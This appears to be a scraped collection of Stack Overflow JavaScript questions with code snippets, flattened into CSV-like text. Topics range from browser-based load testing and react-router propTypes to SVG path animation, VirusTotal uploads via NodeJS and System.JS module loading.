: Light-weight and easy to implement.Loads the entire page using a real browser.Tracks the average page load time and records the results right in the browser.But I really do n't have any frame of reference to know if the numbers I 'm getting are right . Thanks to anyone who can tell me if I 'm completely wrong , and if there 's something slightly more user-friendly out there than jMeter.UPDATEDo not use this as a method of server load testing . It will not give you an accurate reading.Using the above code , I was able to hit the server with `` 1,000 '' loads a second with very little problem . After attempting the same with ApacheBench , I 've found that this was in no way a reflection of reality.Using ApacheBench , I was able to crash the server by hitting the app with 40 ( ! ) concurrent connections.Obviously , I 'm rewriting parts of the app to use cached HTML wherever humanly possible.So , to answer my own question , yes , this is a bad way to do server testing . < script > function roundNumber ( num , dec ) { var result = Math.round ( num*Math.pow ( 10 , dec ) ) /Math.pow ( 10 , dec ) ; return result ; } $ ( function ( ) { totalCount = 0 ; i = 1 ; totalTime = 0 ; highest = 0 ; memoryUsage = 0 ; var hitsPerSecond = 1000 ; var totalLimit = 100 ; function testLoad ( ) { if ( totalCount < = totalLimit ) { $ .get ( '/lp/user-page.php ' , function ( data ) { $ ( data ) .filter ( ' # page-generation-time ' ) .each ( function ( ) { totalTime += parseFloat ( $ ( this ) .text ( ) ) ; $ ( '.console ' ) .append ( ' < p > ( '+i+ ' ) - Load time : '+ $ ( this ) .text ( ) + ' < /p > ' ) ; i++ ; if ( highest < $ ( this ) .text ( ) ) { highest = $ ( this ) .text ( ) ; } $ ( '.average ' ) .html ( 'Average : '+roundNumber ( totalTime/i , 5 ) + ' - Highest : '+highest ) ; } ) ; $ ( data ) .filter ( ' # page-memory-usage ' ) .each ( function ( ) { memoryUsage = parseFloat ( $ ( this ) .text ( ) ) ; $ ( '.memory ' ) .html ( $ ( this ) .text ( ) ) ; } ) ; } ) ; } else { clearInterval ( testLoadInterval ) ; } totalCount++ ; } ; var testLoadInterval = setInterval ( function ( ) { testLoad ( ) ; } , 1000/hitsPerSecond ) ; } ) ; < /script > < h2 > Load Test < /h2 > < div class= '' average '' > < /div > < div class= '' memory '' > < /div > < div class= '' console-container '' > < div class= '' console '' > < /div > < /div >",Is this a bad way to do server load testing ? "JS : So , in react-router v4 , my Route looks like this : I 'm passing an optional 'id ' parameter to my Suppliers component . This is no problem.For posterity , this is my Link : < Link to= '' /suppliers/123 '' > Place Order < /Link > Then , in my component , I refer to the parameter as such : < p > { this.props.match.params.id } < /p > This works , but my linter gives me the following error : [ eslint ] 'match ' is missing in props validation ( react/prop-types ) For this reason , I 've defined the propTypes as such : But it feels like I 'm writing more boilerplate code than I probably require . My question is , Is there a better way to define my propTypes in my component so as to avoid the linter error ? Also , this solution seems unsustainable if , for instance , the props.match property changes it will break . Or am I doing this correctly ? Thanks in advance . < Route path= '' /suppliers/ : id ? '' component= { Suppliers } / > Suppliers.propTypes = { match : PropTypes.shape ( { params : PropTypes.shape ( { id : PropTypes.number , } ) .isRequired , } ) .isRequired , } ;",Handling parameters passed through react-router in component JS : I know that jslint/jshint do n't like it but I wanted to know if there were any real issues with doing something like.Example 1 : AssignmentExample 2 : ValidationAre there any gotcha 's that I should be aware of ? var err = function ( msg ) { throw new Error ( msg ) ; } ; var foo = bar.foo || baz.foo || err ( 'missing foo property ' ) ; typeof foo [ 'bar ' ] ! == 'string ' & & err ( 'bar has to be a string ' ) ;,using short-circuit operators to throw error - javascript "JS : A chipped DIV containing paragraphs that need a scrollbare.g.When the scrollbar move , the text change ( due to overflow : scroll ) , is it possible to select only the text displayed in the current view port ? Example : http : //jsfiddle.net/cxgkY/15/Updated : The inner HTML might contains variable sized text < div id= '' text '' style='overflow : scroll ; width:200px ; height:200px ' > < div style='font-size:64px ; ' > BIG TEXT < /div > Lorem Ipsum is simply dummy text of the printing and typesetting industry . Lorem Ipsum has been the industry 's standard dummy text ever since the 1500s , when an unknown printer took a galley of type and scrambled it to make a type specimen book . It has survived not only five centuries , but also the leap into electronic typesetting , remaining essentially unchanged.It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages , and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum. < /div >",How to get the current active text within a scrolled DIV "JS : The iScroll project provides the “ overflow : scroll for mobile WebKit ” , and was started [ … ] because webkit for iPhone does not provide a native way to scroll content inside a fixed size ( width/height ) div . So basically it was impossible to have a fixed header/footer and a scrolling central area.We have developed a mobile-friendly Web application , using responsive design ( etc . ) , that uses a layout that sometimes show a fixed header and footer on mobile devices , based on the core-layout library , which in turn uses angular-iscroll . You can try out the core-layout demo on desktop and mobile , and try to turn the use of iScroll on and off . On desktop scrolling the different areas should work both with and without iScroll ( given that the window is not too high so that scrolling is not necessary ) ; on mobile , however , whether scrolling works without iScroll depends on the kind and version of the browser.Recent versions of the mobile Safari browser , and Android browsers , have started to support overflow : scroll for such fixed-size div elements as described above . Therefore , some browsers still need the use of iScroll to work , while other browsers do n't . Because using iScroll introduces some problems on it own , like proper click and touch event handling , I would like to turn off iScroll in all browsers that do n't need it.I would like to add support in angular-iscroll or core-layout for automatically detecting if there is any need to use iScroll or not for each browser opening the page . I know about feature detection libraries like modernizr , but it seems hard to determine the need for iScroll based on feature detection . Does anyone know how such auto-detection can be implemented ? Another possibility is to use a white/black-list and check the browser version , but in that case I wonder if anyone has a reliable rule set for properly determining the need to use iScroll based on the user-agent string ? Disclosure : I 'm the author of both angular-iscroll and core-layout.Update 2016-01-10 : Since no one have suggested any answers yet , I thought that I could share some ideas I 've had of how to solve this : If it is difficult to implement a solution to the above problem through true feature detection , one possible way could be to utilize platform.js , a platform detection library that works on nearly all JavaScript platforms . By including the platform.js script , you easily get access to information about the current browser such aswhich could be used for matching against a rule set . However , then theproblem becomes what those rules should be , to avoid turning off iScroll for browsers that need iScroll to work , and to avoid turning iScroll on for browsers that do n't need it.Another way might be to exploit that , given a scrollable div with higher contents that the div 's height , then the scroll area should scroll when swiped , and one could try to detect whether or not that happens.Consider this scenario : let 's assume that you start of with iScroll turned off . Now , if the user tries to scroll the contents of the div , but the contents do n't move , then perhaps one could conclude that one must turn iScroll on for div-scrolling to work ? How would that be implemented while providing a relatively smooth user experience ? It might depend on how fast one can detect that the contents should have scrolled but did n't ? If anyone can come up with robust solutions based on one of those ideas ( or a combination of them ) , then I 'm just happy to help.Also , I wonder why no one tries to come up with an answer ; not even a comment that says this is too difficult/trivial/irrelevant/strange/outdated ? // On an iPadplatform.name ; // 'Safari'platform.version ; // ' 5.1'platform.product ; // 'iPad'platform.manufacturer ; // 'Apple'platform.layout ; // 'WebKit'platform.os ; // 'iOS 5.0'platform.description ; // 'Safari 5.1 on Apple iPad ( iOS 5.0 ) '",How to automatically detect the need for iScroll ? "JS : I 'm working on a Angular App I 've this function `` This allows me to download files from my view using an url .It works fine , i can download my files with that . The problem I just noticed is that i ca n't download .sql files . Why ? Many types of file are working , .jpg , .pdf , .dwf ... everything but .sql vm.DownloadFile = function ( item ) { var a = document.createElement ( ' A ' ) ; a.href = item.fileSourceUrl ; a.download = item.fileSourceUrl.substr ( item.fileSourceUrl.lastIndexOf ( '/ ' ) + 1 ) ; document.body.appendChild ( a ) ; a.click ( ) ; document.body.removeChild ( a ) ; }",< HTML > download .sql file "JS : I am trying to rotate SVG path with mouse . Fiddle . But I have few problems with it , The origin of rotation is wrongWhen I stop rotation and rotate again it is starting from different starting angle instead of starting from the previous angle.Not sure how to update the position of circle after rotation.Code here : Please let me know , if any other information is needed . var svgns = 'http : //www.w3.org/2000/svg ' ; var path = document.getElementById ( 'path-element ' ) ; var angle = 0 ; function getRotationPoint ( ) { var bRect = path.getBoundingClientRect ( ) ; var rotationPoint = [ bRect.left + ( bRect.width / 2 ) , bRect.top - 20 ] ; return rotationPoint ; } var rotationPoint = getRotationPoint ( ) ; var circle = document.createElementNS ( svgns , 'circle ' ) ; circle.setAttribute ( 'style ' , 'fill : # DCDCDC ; stroke : red ; stroke-width : 2 ; pointer-events : visiblePainted ' ) ; circle.setAttribute ( 'cx ' , rotationPoint [ 0 ] ) ; circle.setAttribute ( 'cy ' , rotationPoint [ 1 ] ) ; circle.setAttribute ( ' r ' , 4 ) ; document.querySelector ( 'svg ' ) .appendChild ( circle ) ; var mousedown = false , mouse_start = null ; circle.addEventListener ( 'mousedown ' , function ( event ) { mousedown = true ; initial_position = getRotationPoint ( ) ; mouse_start = { x : event.clientX , y : event.clientY } ; } ) ; document.addEventListener ( 'mousemove ' , function ( event ) { if ( mousedown ) { var x = event.clientX , y = event.clientY ; var _angle = Math.atan2 ( y - mouse_start.y , x - mouse_start.x ) * 180 / Math.PI ; var transform = `` rotate ( `` + _angle + `` , '' + rotationPoint [ 0 ] + `` , '' + rotationPoint [ 1 ] + `` ) '' ; path.setAttribute ( 'transform ' , transform ) ; } } ) ; document.addEventListener ( 'mouseup ' , function ( event ) { mousedown = false ; } ) ; var svgns = 'http : //www.w3.org/2000/svg ' ; var path = document.getElementById ( 'path-element ' ) ; var angle = 0 ; function getRotationPoint ( ) { var bRect = path.getBoundingClientRect ( ) ; var rotationPoint = [ bRect.left + ( bRect.width / 2 ) , bRect.top - 20 ] ; return rotationPoint ; } var rotationPoint = getRotationPoint ( ) ; circle = document.createElementNS ( svgns , 'circle ' ) ; circle.setAttribute ( 'style ' , 'fill : # DCDCDC ; stroke : red ; stroke-width : 2 ; pointer-events : visiblePainted ' ) ; circle.setAttribute ( 'cx ' , rotationPoint [ 0 ] ) ; circle.setAttribute ( 'cy ' , rotationPoint [ 1 ] ) ; circle.setAttribute ( ' r ' , 4 ) ; document.querySelector ( 'svg ' ) .appendChild ( circle ) ; var mousedown = false , mouse_start = null ; circle.addEventListener ( 'mousedown ' , function ( event ) { mousedown = true ; initial_position = getRotationPoint ( ) ; mouse_start = { x : event.clientX , y : event.clientY } ; } ) ; document.addEventListener ( 'mousemove ' , function ( event ) { if ( mousedown ) { var x = event.clientX , y = event.clientY ; var _angle = Math.atan2 ( y - mouse_start.y , x - mouse_start.x ) * 180 / Math.PI ; var transform = `` rotate ( `` + _angle + `` , '' + rotationPoint [ 0 ] + `` , '' + rotationPoint [ 1 ] + `` ) '' ; path.setAttribute ( 'transform ' , transform ) ; } } ) ; document.addEventListener ( 'mouseup ' , function ( event ) { mousedown = false ; } ) ; html , body { height : 100 % ; width : 100 % ; margin : 0px ; } < svg class= '' design-review-container '' version= '' 1.1 '' baseProfile= '' full '' style= '' position : absolute ; top : 0 ; left : 0 ; width : 100 % ; height : 100 % ; pointer-events : none '' > < path id= '' path-element '' style= '' fill : none ; stroke : rgb ( 33 , 150 , 243 ) ; stroke-width : 3 ; pointer-events : visiblePainted ; transform-origin : 50 % 50 % ; '' d= '' M109,100 C110.33333333333333,98.33333333333333,112.66666666666667,92,117,90 C121.33333333333333,88,128.83333333333334,82.83333333333333,135,88 C141.16666666666666,93.16666666666667,145,111.5,154,121 C163,130.5,177.83333333333334,140.5,189,145 C200.16666666666666,149.5,214,149.66666666666666,221,148 C228,146.33333333333334,229.33333333333334,137.16666666666666,231,135 '' > < /path > < /svg >",Path drawing and resizing with Mouse "JS : How can I programmatically identify getter and setter properties in ES5 ? Prints : var o , descriptor , descriptorGetter , descriptorSetter ; o = { foo : 'foo ' , get bar ( ) { return 'bar ' ; } , set bam ( value ) { this._bam = value ; } , } ; descriptor = Object.getOwnPropertyDescriptor ( o , 'foo ' ) ; descriptorGetter = Object.getOwnPropertyDescriptor ( o , 'bar ' ) ; descriptorSetter = Object.getOwnPropertyDescriptor ( o , 'bam ' ) ; console.log ( JSON.stringify ( descriptor ) ) ; console.log ( JSON.stringify ( descriptorGetter ) ) ; console.log ( JSON.stringify ( descriptorSetter ) ) ; { `` value '' : '' foo '' , '' writable '' : true , '' enumerable '' : true , '' configurable '' : true } { `` enumerable '' : true , '' configurable '' : true } { `` enumerable '' : true , '' configurable '' : true }",How to distinguish between a getter and a setter and a plain property in JavaScript ? "JS : UPDATEUnfortunately I have caused some confusion by talking about the .value property , but then asking for any reference to feature support in browsers.In hindsight , I guess the thing I needed right now was to know whether .value is `` safe '' to use , and therefore that is why I accepted @ BeatAlex 's answer ( as they put the effort in to actually test on multiple browser.ORIGINAL QUESTIONUsing javascript , the accepted way to get/set the value of the selected < option > in a < select > is using the .value property.For years and years I have not used the .value property , as I was told that `` old browsers '' do n't support it . Instead I use the long form of ... But I 've just done some research , and I can not find any reference to which `` old browsers '' this effects . For instance this quirksmode article even mentions `` old browsers '' but does n't give any more information than that.Which `` old browsers '' do not have the .value property on the < select > element ? Is there a reference somewhere to exactly when particular features became available in mainstream browsers ? Note : unfortunately jQuery is not currently available to me , due to an old 3rd party component being used on the system dd.options [ dd.selectedIndex ] .value ;",HTML select.value in `` old browsers '' "JS : I have written a function that retrieves a html template , then binds data using jQuery.tmpl . I think it 's fairly neat and tidy and encapsulates what I need and provides me a reusable function . My question however is can it be improved . My main concern is what if the $ .get method fails , and also how the callBack function is executed . function Bind ( templateURL , templateData , templateTarget , callBack ) { var req = $ .get ( templateURL ) ; req.success ( function ( templateHtml ) { $ ( templateTarget ) .html ( `` ) ; //clear $ ( templateHtml ) .tmpl ( templateData ) .appendTo ( templateTarget ) ; //add deal callBack ( ) ; } ) ; }",Callback in jQuery wrapper function "JS : I 'm trying to upload a 36MB zip file to Virus Total using their public API in NodeJS using request . I 'm currently coming across this issue when trying to upload and ca n't figure out what to do next to fix it . Their API does n't state any file size limit , and their frontend uploader specifies a 128MB upload limit.Code is straight forward and simple , but really do n't know what to do to fix it . Any help is appreciated . < html > < head > < meta http-equiv= '' content-type '' content= '' text/html ; charset=utf-8 '' > < title > 413 Request Entity Too Large < /title > < /head > < body text= # 000000 bgcolor= # ffffff > < h1 > Error : Request Entity Too Large < /h1 > < h2 > Your client issued a request that was too large. < /h2 > < h2 > < /h2 > < /body > < /html > var request = require ( 'request ' ) ; var fs = require ( 'fs ' ) ; var formData = { file : fs.createReadStream ( './path/to/file.zip ' ) , apikey : 'public-vt-apikey ' } ; var options = { url : 'https : //www.virustotal.com/vtapi/v2/file/scan ' , formData : formData } ; request.post ( options , function ( err , res , body ) { console.log ( body ) ; } ) ;",NodeJS - Upload ~36MB file to VirusTotal failing "JS : This is not a question about jQuery , but about how jQuery implements such a behaviour.In jQuery you can do this : could someone explain in general terms ( no need you to write code ) how do they obtain to pass the event 's caller html elments ( a link in this specific example ) into the this keyword ? I obviously tried to look 1st in jQuery code , but I could not understand one line.Thanks ! UPDATE : according to Anurag answer I decided to post some code at this point because it seems easier to code than what I thought : and then now with a simple call we mimic jQuery behaviour of using this in events handlersDo you think there are any errors or something I misunderstood taking the all thing in a too superficial way ? $ ( ' # some_link_id ' ) .click ( function ( ) { alert ( this.tagName ) ; //displays ' A ' } ) function AddEvent ( html_element , event_name , event_function ) { if ( html_element.attachEvent ) //IE html_element.attachEvent ( `` on '' + event_name , function ( ) { event_function.call ( html_element ) ; } ) ; else if ( html_element.addEventListener ) //FF html_element.addEventListener ( event_name , event_function , false ) ; //do n't need the 'call ' trick because in FF everything already works in the right way } AddEvent ( document.getElementById ( 'some_id ' ) , 'click ' , function ( ) { alert ( this.tagName ) ; //shows ' A ' , and it 's cross browser : works both IE and FF } ) ;",Simple Javascript to mimic jQuery behaviour of using this in events handlers "JS : As described in my previous question : Asp.net web API 2 separation Of Web client and web server development In order to get full separation of client and server , I want to set a variable to hold the end point for client requests . When client side is developed , the requests will be sent to a `` stub server '' that returns default values so that client side can be developed without depending on the server side development . That stub server runs on one port different that the real server port , and when running integration between server and client , in a branch integration , the variable will hold the real server port.For that matter , I learned that a build tool such as Gulp could help me . I 'm working with Tfs source control.What I want is for example , write a task that will function like this : Is there a way to get the current branch that task is running in ? Thanks for helpers gulp.task ( 'setEndPoint ' , function ( ) { var branchName = // How do I get it ? if ( branchName == `` Project.Testing '' ) endPoint = `` localhost/2234 '' if ( branchName == `` Project.Production '' ) endPoint = `` localhost/2235 '' } ) ;",Web api - Use Gulp task to dynamically set end point address "JS : I have a d3 ( v3 ) force network with curved links that looks like this : What I 'm trying to accomplish is to have the links ' textPath elements be horizontal since they 're numbers and `` 81 '' needs to look different from `` 18 '' . I also would like to have some sort of white shadow/outer glow/background since I 'm placing them directly on the links . I have a white stroke in there right now , but it does n't work quite right since sometimes one digit 's stroke intrudes onto the digit next to it.There is a reproducible example here , which I admittedly have cobbled together from other SO answers : https : //jsfiddle.net/2gbekL7m/The relevant part of the code is : Does anyone know how I could improve the readability of my link labels by fixing the orientation and adding a background box ? var link_label = svg.selectAll ( `` .link_label '' ) .data ( links ) .enter ( ) .append ( `` text '' ) .attr ( `` class '' , `` link_label '' ) .attr ( `` paint-order '' , `` stroke '' ) .attr ( `` stroke '' , `` white '' ) .attr ( `` stroke-width '' , 4 ) .attr ( `` stroke-opacity '' , 1 ) .attr ( `` stroke-linecap '' , `` butt '' ) .attr ( `` stroke-linejoin '' , `` miter '' ) .style ( `` fill '' , `` black '' ) .attr ( `` dy '' , 5 ) .append ( `` textPath '' ) .attr ( `` startOffset '' , `` 50 % '' ) .attr ( `` xlink : href '' , function ( d , i ) { return `` # link_ '' + i ; } ) .text ( function ( d , i ) { return d.n ; } ) ;",Horizontal link labels in d3 force network "JS : What I have achieved : What I want is no matter which size or shape the SVG < path > isthe growing line should be in the middle of the screen.I tried changing the values of myline.style.strokeDashoffset = length //+newvalue - draw ; and all but all it did was just ruins the consistency . so is there anyone who can help me solve this issue . ? Any help would be highly appreciatable . // Get the id of the < path > element and the length of < path > var myline = document.getElementById ( `` myline '' ) ; var length = myline.getTotalLength ( ) ; circle = document.getElementById ( `` circle '' ) ; // The start position of the drawingmyline.style.strokeDasharray = length ; // Hide the triangle by offsetting dash . Remove this line to show the triangle before scroll drawmyline.style.strokeDashoffset = length ; // Find scroll percentage on scroll ( using cross-browser properties ) , and offset dash same amount as percentage scrolledwindow.addEventListener ( `` scroll '' , myFunction ) ; function myFunction ( ) { // What % down is it ? var scrollpercent = ( document.body.scrollTop + document.documentElement.scrollTop ) / ( document.documentElement.scrollHeight - document.documentElement.clientHeight ) ; // Length to offset the dashes var draw = length * scrollpercent ; // Reverse the drawing ( when scrolling upwards ) myline.style.strokeDashoffset = length - draw ; //get point at length endPoint = myline.getPointAtLength ( draw ) ; circle.setAttribute ( `` cx '' , endPoint.x ) ; circle.setAttribute ( `` cy '' , endPoint.y ) ; } body { height : 2000px ; background : # f1f1f1 ; } # circle { fill : red ; } # mySVG { position : absolute ; top : 15 % ; width : 100 % ; height : 1000px ; } .st1 { fill : none ; stroke-dashoffset : 3px ; stroke : grey ; stroke-width : 4 ; stroke-miterlimit : 10 ; stroke-dasharray : 20 ; } .st0 { fill : none ; stroke-dashoffset : 3px ; stroke : red ; stroke-width : 5 ; stroke-miterlimit : 10 ; stroke-dasharray : 20 ; } < svg id= '' mySVG '' viewBox= '' 0 0 60 55 '' preserveAspectRatio= '' xMidYMin slice '' style= '' width : 6 % ; padding-bottom : 42 % ; height : 1px ; overflow : visible '' > < path class= '' st1 '' stroke-dasharray= '' 10,9 '' d= '' M 20 0 v 20 a 30 30 0 0 0 30 30 h 600 a 40 40 0 0 1 0 80 h -140 a 30 30 0 0 0 0 60 h 200 a 40 40 0 0 1 0 80 h -100 a 30 30 0 0 0 -30 30 v 20 '' / > Sorry , your browser does not support inline SVG. < /svg > < svg id= '' mySVG '' viewBox= '' 0 0 60 55 '' preserveAspectRatio= '' xMidYMin slice '' style= '' width : 6 % ; padding-bottom : 42 % ; height : 1px ; overflow : visible '' > < circle id= '' circle '' cx= '' 10 '' cy= '' 10 '' r= '' 10 '' / > < path id= '' myline '' class= '' st0 '' stroke-dasharray= '' 10,9 '' d= '' M 20 0 v 20 a 30 30 0 0 0 30 30 h 600 a 40 40 0 0 1 0 80 h -140 a 30 30 0 0 0 0 60 h 200 a 40 40 0 0 1 0 80 h -100 a 30 30 0 0 0 -30 30 v 20 '' / > Sorry , your browser does not support inline SVG. < /svg >",SVG ` < path > ` javascript animation not working as expected "JS : This whole Facebook access_token thing is driving me nuts . All I want to do is fetch a user 's public Facebook posts.It used to work by simply doing : But now I get the `` access_token required '' error.Trust me ; I 've checked the docs , Googled all over and checked similar questions on SO but I 'm really hoping there 's a more straight forward way of doing this than what I 've seen.Do you really have to create a Facebook App ( I do n't even have an account ) , make the user `` accept '' the app and login etc for this to work ? With Twitter it 's just as easy as it used to be with Facebook . $ .getJSON ( 'http : //graph.facebook.com/USERNAME/posts ? limit=LIMIT & callback= ? ' , function ( posts ) { // Posts available in `` posts '' variable } ) ;",Explain the Facebook access_token "JS : I 'm trying to create a custom select element with an Angular directive.The template in this directive contains a select element with a ng-model attribute that I want to get from the custom element.My problem is Angular does n't allow an Angular expression as a value for the ng-model attribute.I also tried to set an attribute withIt does take the attribute with the right value but it is still not working.Here 's my plunker : Plunker < custom-select inner-model= '' modelName '' > < select model= '' { { model } } '' > < /select > < /custom-select > link : function ( scope , element , attributes ) { element [ 0 ] .childNodes [ 0 ] .setAttribute ( 'data-ng-model ' , attributes.innerModel ) ; }",Angular Expression in ng-model "JS : I have a form I submit with javascript as soon as the user clicks a label . There is a weird behavior where the datas are not posted . But if I submit the form with a delay ( even with a delay of 0 ) it works.Here is the html : The script : It 's not a big issue as I can make this work with the setTimeout but writing this with a delay of 0 is really ugly . I thought about a browser bug but I tested with Chrome and Firefox and I have the same result.Any idea about what is happening ? < form action= '' /other-page '' method= '' post '' > < input id= '' val-1 '' type= '' checkbox '' name= '' filter [ ] '' value= '' 1 '' > < label for= '' val-1 '' > Value 1 < /label > < input id= '' val-2 '' type= '' checkbox '' name= '' filter [ ] '' value= '' 2 '' > < label for= '' val-2 '' > Value 2 < /label > < /form > < script > $ ( 'label ' ) .click ( function ( ) { var form = $ ( this ) .closest ( 'form ' ) // if I use the following line the values wo n't be set form.submit ( ) // If I use a ` setTimeout ` it works , even with a delay of 0 setTimeout ( function ( ) { form.submit ( ) } , 0 ) } ) < /script >",Post variables not set when submitting a form with JS JS : Suppose I have : Both of these scripts have ready ( ) inside . Will the code in script2.js 's ready ( ) always execute after the first one ? < script src= '' script1.js '' > < /script > < script src= '' script2.js '' > < /script >,Question about multiple ready ( ) 's "JS : this is my first time here.So the problem is , i have an object with all my variables like this : And i want to store this values in a object called Defaults like this : But the problem now is , in my code , app.Variables.var1 e.g . get incremented like this : And this means , that app.Defaults.var1 get also incremented equal to app.Variables.var1.What shall i do here ? app.Variables = { var1 : 0 , var2 : 0 , var3 : 0 } app.Defaults = app.Variables app.Variables.var1++","Creating a new object , not a reference" "JS : Im trying to aim so i can use i18n within functions that is called . I have the error : How can i make so i18n would work inside functions and dont have to be within a req ? Server.js : otherfile.js : How should i solve this ? ( node:15696 ) UnhandledPromiseRejectionWarning : TypeError : i18n.__ is not a function var i18n = require ( 'i18n-2 ' ) ; global.i18n = i18n ; i18n.expressBind ( app , { // setup some locales - other locales default to en silently locales : [ 'en ' , 'no ' ] , // change the cookie name from 'lang ' to 'locale ' cookieName : 'locale ' } ) ; app.use ( function ( req , res , next ) { req.i18n.setLocaleFromCookie ( ) ; next ( ) ; } ) ; //CALL another file with some something here . somefunction ( ) { message = i18n.__ ( `` no_user_to_select '' ) + `` ? ? ? `` ; }",use i18n-2 in node.js outside of res scope "JS : [ Background ] The default print ( ) function of QScriptEngine prints the result to the terminal of Qt Creator IDE for debugging purpose . As a result , the output must be redirected to our texteditor if we are going to make a ECMA script interpreter ourselves.This part of the document `` Making Applications Scriptable '' remains untouched since Qt 4.3.Section `` Redefining print ( ) '' : Qt Script provides a built-in print ( ) function that can be useful for simple debugging purposes . The built-in print ( ) function writes to standard output . You can redefine the print ( ) function ( or add your own function , e.g . debug ( ) or log ( ) ) that redirects the text to somewhere else . The following code shows a custom print ( ) that adds text to a QPlainTextEdit.So here is the suggested re-definition of print ( ) : At first , I doubted the need of returning an `` Undefined Value '' by return engine- > undefinedValue ( ) ; , and it looks like the role of the argument *engine is just to return this void value.So here is what I 've done to change the function : which I think is more reasonable to me : returning an evaluated QScriptValue from script engine , and the value can later be translated to QString for output . This bypass the need of dynamic type cast , which could become messy especially for customized QObjects . For both kinds of print function , here is the exposition to the script engine : Evaluation and output : [ Compilable Code ] ( Qt version > 4 is needed ) test.promain.cppconsole.hconsole.cpp [ Example ] Input 1 : Output ( Qt Document QtPrintFunction ( ) ) : Output ( My version myPrintFunction ( ) ) : Input 2 : Output ( Qt Document QtPrintFunction ( ) ) : 0 1 2 undefinedOutput ( myPrintFunction ( ) ) : 2Input 3 : Output ( Qt Document QtPrintFunction ( ) ) : Stack Overflow undefinedOutput ( My version myPrintFunction ( ) ) : Overflow [ Question ] Although myPrintFunction seems to work fine at first , it did n't work when there are more than two print called in a script , where only the last print will be executed . It seems the returning of an `` Undefined Value '' is NECESSARY for the print function . But why ? ? ? QScriptValue QtPrintFunction ( QScriptContext *context , QScriptEngine *engine ) { QString result ; for ( int i = 0 ; i < context- > argumentCount ( ) ; ++i ) { if ( i > 0 ) result.append ( `` `` ) ; result.append ( context- > argument ( i ) .toString ( ) ) ; } QScriptValue calleeData = context- > callee ( ) .data ( ) ; QPlainTextEdit *edit = qobject_cast < QPlainTextEdit* > ( calleeData.toQObject ( ) ) ; edit- > appendPlainText ( result ) ; return engine- > undefinedValue ( ) ; } QScriptValue myPrintFunction ( QScriptContext *context , QScriptEngine *engine ) { QString result ; for ( int i = 0 ; i < context- > argumentCount ( ) ; ++i ) { if ( i > 0 ) result.append ( `` `` ) ; result.append ( context- > argument ( i ) .toString ( ) ) ; } /* QScriptValue calleeData = context- > callee ( ) .data ( ) ; QPlainTextEdit *edit = qobject_cast < QPlainTextEdit* > ( calleeData.toQObject ( ) ) ; edit- > appendPlainText ( result ) ; return engine- > undefinedValue ( ) ; */ return engine- > toScriptValue ( result ) ; // -- - > return the result directly } QScriptEngine *engine = new QScriptEngine ( this ) ; QTextEdit *input = new QTextEdit ( this ) ; QTextEdit *output = new QTextEdit ( this ) ; // Use documented print function : QScriptValue fun = engine- > newFunction ( QtPrintFunction ) ; // Use my revised print function : // QScriptValue fun = engine- > newFunction ( myPrintFunction ) ; fun.setData ( engine- > newQObject ( output ) ) ; engine- > globalObject ( ) .setProperty ( `` print '' , fun ) ; QString command = input- > toPlainText ( ) ; QScriptValue result = engine- > evaluate ( command ) ; output- > append ( result.toString ( ) ) ; QT += core gui widgets scriptTARGET = TestTEMPLATE = appSOURCES += main.cpp\ console.cppHEADERS += console.h # include < QApplication > # include `` console.h '' int main ( int argc , char *argv [ ] ) { QApplication app ( argc , argv ) ; Console w ; w.show ( ) ; return app.exec ( ) ; } # ifndef CONSOLE_H # define CONSOLE_H # include < QWidget > # include < QVBoxLayout > # include < QTextEdit > # include < QPushButton > # include < QScriptEngine > class Console : public QWidget { Q_OBJECTpublic : Console ( ) ; ~Console ( ) ; public slots : void runScript ( ) ; private : QScriptEngine *engine ; QVBoxLayout *layout ; QPushButton *run ; QTextEdit *input , *output ; } ; QScriptValue QtPrintFunction ( QScriptContext *context , QScriptEngine *engine ) ; QScriptValue myPrintFunction ( QScriptContext *context , QScriptEngine *engine ) ; # endif // CONSOLE_H # include `` console.h '' Console : :Console ( ) { engine = new QScriptEngine ( this ) ; layout = new QVBoxLayout ( this ) ; run = new QPushButton ( `` Run '' , this ) ; input = new QTextEdit ( this ) ; output = new QTextEdit ( this ) ; layout- > addWidget ( input ) ; layout- > addWidget ( run ) ; layout- > addWidget ( output ) ; //QScriptValue fun = engine- > newFunction ( QtPrintFunction ) ; QScriptValue fun = engine- > newFunction ( myPrintFunction ) ; fun.setData ( engine- > newQObject ( output ) ) ; engine- > globalObject ( ) .setProperty ( `` print '' , fun ) ; connect ( run , SIGNAL ( clicked ( ) ) , this , SLOT ( runScript ( ) ) ) ; } void Console : :runScript ( ) { QString command = input- > toPlainText ( ) ; QScriptValue result = engine- > evaluate ( command ) ; output- > append ( result.toString ( ) ) ; } QScriptValue QtPrintFunction ( QScriptContext *context , QScriptEngine *engine ) { QString result ; for ( int i = 0 ; i < context- > argumentCount ( ) ; ++i ) { if ( i > 0 ) result.append ( `` `` ) ; result.append ( context- > argument ( i ) .toString ( ) ) ; } QScriptValue calleeData = context- > callee ( ) .data ( ) ; QTextEdit *edit = qobject_cast < QTextEdit* > ( calleeData.toQObject ( ) ) ; edit- > append ( result ) ; return engine- > undefinedValue ( ) ; } QScriptValue myPrintFunction ( QScriptContext *context , QScriptEngine *engine ) { QString result ; for ( int i = 0 ; i < context- > argumentCount ( ) ; ++i ) { if ( i > 0 ) result.append ( `` `` ) ; result.append ( context- > argument ( i ) .toString ( ) ) ; } return engine- > toScriptValue ( result ) ; } Console : :~Console ( ) { } print ( 123 ) ; 123undefined 123 for ( i = 0 ; i < 3 ; i++ ) print ( i ) ; print ( `` Stack '' ) ; print ( `` Overflow '' ) ;",What 's the point of returning an `` Undefined Value '' when re-defining `` print ( ) '' function for QScriptEngine ? "JS : When we need to call a javascript function with current context object , I see there are two options like : Using Function BindingUsing Javascript ClosureExample of Function BindingExample of JS ClosureI want to ask : Which of the two is better in terms of performance ? Which should be preferred while writing code ? myProject.prototype.makeAjax = function ( ) { $ .get ( 'http : //www.example.com/todoItems ' , function success ( items ) { this.addItemsToList ( items ) } .bind ( this ) ) ; } myProject.prototype.makeAjax = function ( ) { var that = this ; $ .get ( 'http : //www.example.com/todoItems ' , function success ( items ) { that.addItemsToList ( items ) } ) ; }",Difference between Function Binding and Closure in Javascript ? "JS : I 'm trying to import material-ui into my React app using System.JSIn my app , I 'm doing this : Here 's my System.JS config : It loads node_modules/material-ui/index.js which has a bunch of imports inside it : In the package 's tree structure , each of these modules is stored under its own directory like this : , etc. , so in fact to import material-ui/AppBar , I need System.JS to load node_modules/material-ui/AppBar/AppBar.js or node_modules/material-ui/AppBar/index.js.Instead , System.JS is trying to load 